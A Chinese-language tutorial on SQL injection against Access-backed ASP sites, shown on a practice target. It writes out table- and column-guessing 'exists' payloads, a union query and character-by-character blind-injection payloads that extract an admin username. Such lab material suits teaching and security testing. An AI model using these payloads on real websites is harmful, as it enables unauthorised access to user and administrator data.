0x00 前言
现在access的站,比较少,有的话也是小型网站在用,因为access的性能比较差,多人访问都能卡死,所以很多网站都很少会采用access的数据库搭建。但是该学的我们还是得学。
0x01 access 数据库
上面是百度找到的,access数据库的介绍,一般access数据库会搭载asp来建站。
access数据库是以文件来存储的,保存的文件为.mdb 。在几年前流行的暴库其实就是利用了access数据库 以文件形式存储,然后给下载下来从而拿到数据。
0x02 access联合查询
这里没有搭建access的数据库注入环境就直接开个墨者的靶机来做演示
直接来测试一波
存在注入,数字型注入。
access数据库只有表名和字段
我们直接来爆他的表
回显正常,证明存在这个表,
@H_404_13@exists:检验查询是否返回数据。那么再来猜字段。
and exists(select id from admin) 正常
and exists(select username from admin) 正常
and exists(select password from admin) 失败
and exists(select passwd from admin) 正常
现在有已经知道了他的字段有id username passwd
来用联合查询来爆出他的字段
字段为4个,
前面猜表的时候也可以用这种方式来猜,access的联合查询和MysqL的不一样,access的需要指定表名。
有显示位,我们直接来进行查询username和passwd的字段
0x03 access盲注
当我们已经知道字段和表明后,无回显位的话就需要用到盲注了。
and (select len(username)from admin)>5 无回显
and (select len(username)from admin)>4 正常
and (select len(username)from admin)=4 正常
username这个字段的长度是4个,知道长度后我们就可以来一个一个取值,然后拿到账号了
and (select top 1 asc(mid(username,2,1)) from Admin)=111 正常
and (select top 1 asc(mid(username,3,1)) from Admin)=107 正常
and (select top 1 asc(mid(username,4,1)) from Admin)=101 正常
and (select top 1 asc(mid(username,1)) from Admin)=101 正常
access的没有limit函数这里要使用top 1来取第一行数据,asc是转换ascii码的函数,和MysqL的ascii函数一样。
mid是取值函数。
由于盲注比较久这里就不爆密码了,密码是hash值
0x03 结尾
access跑不出来表的时候还可以使用到偏移注入,但是那个没有去研究过,因为access的站都是小型网站没搞头,而且一般跑表名能跑出来就跑,跑不出来就盲注。